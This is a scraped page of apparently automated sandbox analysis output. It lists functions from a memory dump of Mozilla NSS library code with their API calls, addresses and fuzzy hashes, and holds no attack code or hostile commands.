Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: bee3e15185c1b3c4e4ad9ef7135281ac8520e58d927bf57dc3b60efd623a6be9
Instruction ID: 33dfa9ced1368b8f210e3e930213df84743d8423041ed2121210b611d8bf65d9
Opcode Fuzzy Hash: bee3e15185c1b3c4e4ad9ef7135281ac8520e58d927bf57dc3b60efd623a6be9
Instruction Fuzzy Hash: A5214A74A046148FDB00EF7AC18856AB7F4FF46358F014929D8959BB01EB30E854CB9A

Function 6C60EAD0 Relevance: 6.1, APIs: 4, Instructions: 54networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6C60EB13
htonl.WSOCK32(00000000,?), ref: 6C60EB26
htons.WSOCK32(?), ref: 6C60EB44
PR_GetCurrentThread.NSS3(?), ref: 6C60EB58

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: htons$CurrentThreadhtonl
String ID:
API String ID: 2156189399-0
Opcode ID: e5dd7cc185d18ad9e77570f42aad956c8d87c279c3393cfcdf4bd18a14dde0bb
Instruction ID: 0c73738e7be03eb7ad1cd804ec8bdad55342077ba237b2c4a6ac8cc4e86d1617
Opcode Fuzzy Hash: e5dd7cc185d18ad9e77570f42aad956c8d87c279c3393cfcdf4bd18a14dde0bb
Instruction Fuzzy Hash: 5311C861E247A197D314CF358B056B673B0BF96308F019B1EE8CA57A61E770A4C0C398

Function 6C638DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C638DE7
EnterCriticalSection.KERNEL32 ref: 6C638DFC
PR_Unlock.NSS3 ref: 6C638E2D
PR_SetError.NSS3 ref: 6C638E49

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 099cec1b4d9b9212c4ad1893c7d270cc5a6238a54113b5e37f330fb305ada1db
Instruction ID: 5263bd13cb0da61c135dd307216fb77b627d2ca3dbe9d78115ccb6cae087afa4
Opcode Fuzzy Hash: 099cec1b4d9b9212c4ad1893c7d270cc5a6238a54113b5e37f330fb305ada1db
Instruction Fuzzy Hash: B6118F71605A149BD700AF78C4481A9BBF4FF4A314F01596ADC88D7700E730E864CBD6

Function 6C6BAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6A5F17,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6A5F17,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BACDB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: a97a4ea5741a3fe1ef87d0ccdb24ae9fffde41a1a228433f78e111439fcc3d1c
Instruction ID: 60b6bc88bffdab9164612ba3bec803c4948ff597046f9256485ecf1f21a3abd0
Opcode Fuzzy Hash: a97a4ea5741a3fe1ef87d0ccdb24ae9fffde41a1a228433f78e111439fcc3d1c
Instruction Fuzzy Hash: EF015EB1711B019BEB50DF2AD908767B7E8BF00759B104839D85AD3E01E731F464CB95

Function 6C6688E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C6708AA,?), ref: 6C6688F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C6708AA,?), ref: 6C66890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C6708AA,?), ref: 6C668936
PR_Unlock.NSS3(?,?,?,?,?,6C6708AA,?), ref: 6C668940

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 989bac63b0bdb2906770d620e570d20fdf14eee098939e6545c46c0d3fe88dc9
Instruction ID: 1ffd493fdcd698c7d8f1c13edeb0a2615b6c3c0a021c0d573df884afda34cf6f
Opcode Fuzzy Hash: 989bac63b0bdb2906770d620e570d20fdf14eee098939e6545c46c0d3fe88dc9
Instruction Fuzzy Hash: F0016174604A059BDB00AF3EC084665B7F4FF0A398F010A6AD89987B10E730E894CBD7

Function 6C6724E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C64C154,000000FF,00000000,00000000,00000000,00000000,?,?,6C64C154,?), ref: 6C6724FA
PORT_Alloc_Util.NSS3(00000000,?,6C64C154,?), ref: 6C672509

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6C672525
free.MOZGLUE(00000000), ref: 6C672532

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: 98c0c77d1c6af051d34f3a303ec775670676885985dfbb4e83541d593e52e7fe
Instruction ID: 6e4926909c622f6b8cdafb0b8f5d9d2e556dab5c1850d7f4a5a6b19a906e48c7
Opcode Fuzzy Hash: 98c0c77d1c6af051d34f3a303ec775670676885985dfbb4e83541d593e52e7fe
Instruction Fuzzy Hash: 76F096B230622177FE20267B5C09E773AACEB42BFDB140631BD28C66C1E951CC0181F5

Function 6C6A0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C772F88,6C6A0660,00000020,00000000,?,?,6C6A2C3D,?,00000000,00000000,?,6C6A2A28,00000060,00000001), ref: 6C6A0860

Part of subcall function 6C594C70: TlsGetValue.KERNEL32(?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594C97
Part of subcall function 6C594C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CB0
Part of subcall function 6C594C70: PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C6A2C3D,?,00000000,00000000,?,6C6A2A28,00000060,00000001), ref: 6C6A0874
EnterCriticalSection.KERNEL32(00000001), ref: 6C6A0884
PR_Unlock.NSS3 ref: 6C6A08A3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 0cc299ea8fb810f6938f8b5b97f0eb7ba738a5a3fb26e43b4e007b05435e3178
Instruction ID: f9121c3c776c3503714f2bca6384c6ab8bff6eedb56b21aacc686bc613fc73e8
Opcode Fuzzy Hash: 0cc299ea8fb810f6938f8b5b97f0eb7ba738a5a3fb26e43b4e007b05435e3178
Instruction Fuzzy Hash: 6B017B31A00248ABEF053BA5DC049657B38DB5731DF080171EC1C62A02EF319C5587FC

Function 6C6A0450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6C6A4710,?,000F4240,00000000), ref: 6C6A046B
GetLastError.KERNEL32(?,6C6A4710,?,000F4240,00000000), ref: 6C6A0479

Part of subcall function 6C6BBF80: TlsGetValue.KERNEL32(00000000,?,6C6A461B,-00000004), ref: 6C6BC244

PR_Unlock.NSS3(40C70845,?,6C6A4710,?,000F4240,00000000), ref: 6C6A0492
PR_SetError.NSS3(FFFFE89D,00000000,?,6C6A4710,?,000F4240,00000000), ref: 6C6A04A5

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: 19a04ed66d4efa34108f92a3f815fd7bfcdb7c422db5e34ec854168abb10105a
Instruction ID: dee7800fb7718c9569d33c655d5cb8cd8f44810e03b39f6bcb5f59b5a08f527f
Opcode Fuzzy Hash: 19a04ed66d4efa34108f92a3f815fd7bfcdb7c422db5e34ec854168abb10105a
Instruction Fuzzy Hash: 57F0B470B04345EFEF00AAF59D18B6A36A9FF0230DF148434E80BC7A51EA31E855865D

Function 6C72CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C72CC61
free.MOZGLUE ref: 6C72CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C72CC80
free.MOZGLUE(?), ref: 6C72CC87

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 7800ca0584447f7c7241f63b350adb97f2a480ed8c2ee448c3e3c8f570f8b0a9
Instruction ID: 8524993c8dc212ab2246d3092df057ce0c52e878880c53673c05e8e7fa49726e
Opcode Fuzzy Hash: 7800ca0584447f7c7241f63b350adb97f2a480ed8c2ee448c3e3c8f570f8b0a9
Instruction Fuzzy Hash: 38E030767017089BCE10EFA9DC4489677ACEE493713150565E695C3700D231F905CBA1

Function 6C664D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C664D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C664DE6

Strings

%d.%d, xrefs: 6C664DDE

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 1e8b2eb774c86e1d71cfb0d8ba85660ad237f940d3e5b9ba5d8d30dbd21bab68
Instruction ID: 4d2465f7395daec3e1d87772ad31ca61d1ce42a48cfdf13067ec5518366cbaee
Opcode Fuzzy Hash: 1e8b2eb774c86e1d71cfb0d8ba85660ad237f940d3e5b9ba5d8d30dbd21bab68
Instruction Fuzzy Hash: 79312EB2D042186BEB109BA6DC11BFF77A8DF41308F010429ED155BB41EB709905CBAB

Function 6C700900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C700917
sqlite3_value_text.NSS3(?), ref: 6C700923

Part of subcall function 6C5C13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C592352,?,00000000,?,?), ref: 6C5C1413
Part of subcall function 6C5C13C0: memcpy.VCRUNTIME140(00000000,R#Yl,00000002,?,?,?,?,6C592352,?,00000000,?,?), ref: 6C5C14C0

Strings

error in %s %s%s%s: %s, xrefs: 6C700944

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 45819173670912e86de21770f218241a10789142f8ac89a05fc1bcad2a328f0d
Instruction ID: c99918ee51a35efe002290aa21967ae97ec4c2a2bdce19a5d492f7fd90d547da
Opcode Fuzzy Hash: 45819173670912e86de21770f218241a10789142f8ac89a05fc1bcad2a328f0d
Instruction Fuzzy Hash: BB0108B6E001449FD7009F58ED019BB7BB5EFC1218F144539ED495B711F732AD1487A2

Function 6C684CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8hl,00000000,00000000,?,?,6C683827,?,00000000), ref: 6C684D0A

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C684D22

Part of subcall function 6C66FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C611A3E,00000048,00000054), ref: 6C66FD56

Strings

'8hl, xrefs: 6C684D07

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8hl
API String ID: 1521942269-3757650031
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 235501aea6a3412d04a4282fc070af3ed80d7812ca77cb3b3d6b1856cb611c05
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: F0F0683260222467DB204E6A9C5075336DC9B467FDF140271ED28CB781E6A1DC0086B9

Function 6C6AAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6AAF78

Part of subcall function 6C60ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60ACE2
Part of subcall function 6C60ACC0: malloc.MOZGLUE(00000001), ref: 6C60ACEC
Part of subcall function 6C60ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C60AD02
Part of subcall function 6C60ACC0: TlsGetValue.KERNEL32 ref: 6C60AD3C
Part of subcall function 6C60ACC0: calloc.MOZGLUE(00000001,?), ref: 6C60AD8C
Part of subcall function 6C60ACC0: PR_Unlock.NSS3 ref: 6C60ADC0
Part of subcall function 6C60ACC0: PR_Unlock.NSS3 ref: 6C60AE8C
Part of subcall function 6C60ACC0: free.MOZGLUE(?), ref: 6C60AEAB

memcpy.VCRUNTIME140(6C773084,6C7702AC,00000090), ref: 6C6AAF94

Strings

SSL, xrefs: 6C6AAF73

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 056402a9d52865b91eca8cfbad653d2446bf93608759ff7bc7996636179fa9e7
Instruction ID: 08f961eb6ce00897101a27135c1ae8789f65eee7ec96c780eabb8e7ef95fb66d
Opcode Fuzzy Hash: 056402a9d52865b91eca8cfbad653d2446bf93608759ff7bc7996636179fa9e7
Instruction Fuzzy Hash: 11217FB2305A6CAECA02DF91990B3627E72F7432087105178C15A4BB29D7324816DFFA

Function 6C61C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]al,6C616499,-00000078,00000000,?,?,]al,?,6C615DEF,?), ref: 6C61C821

Part of subcall function 6C611DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C611E0B
Part of subcall function 6C611DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C611E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]al,?,6C615DEF,?,?,?), ref: 6C61C857

Strings

]al, xrefs: 6C61C810

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]al
API String ID: 221937774-2010761984
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: dc324c7c7697f2471277eafccad232d6ebc2bbaf1099378251a9923e9dbe5a4c
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: 95F0A773A0451477EF016D696C04AFE3A59DF9229AF040031FE05D6A41F726C92587ED

Function 6C600F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B

Part of subcall function 6C601370: GetSystemInfo.KERNEL32(?,?,?,?,6C600936,?,6C600F20,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000), ref: 6C60138F

PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

Part of subcall function 6C601110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C600936,00000001,00000040), ref: 6C601130
Part of subcall function 6C601110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C600936,00000001,00000040), ref: 6C601142
Part of subcall function 6C601110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C600936,00000001), ref: 6C601167

Strings

clock, xrefs: 6C600F20

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: f851c576de87cdeec8f6c4edbf07eb7c1074ce0c4f28e35c96e99a4170dec4bb
Instruction ID: 3c805fd9458d568dd3efc9e83b34b6640c58b333bbaee2b2f6c121a5e81bf6fe
Opcode Fuzzy Hash: f851c576de87cdeec8f6c4edbf07eb7c1074ce0c4f28e35c96e99a4170dec4bb
Instruction Fuzzy Hash: 20D02231300158A1C11A22979D48B96B6ACC7C327EF004836F11811D000A2440DEC27D

Function 6C670DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C670DF5
TlsGetValue.KERNEL32 ref: 6C670E2D
TlsGetValue.KERNEL32 ref: 6C670E58
TlsGetValue.KERNEL32 ref: 6C670E84

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
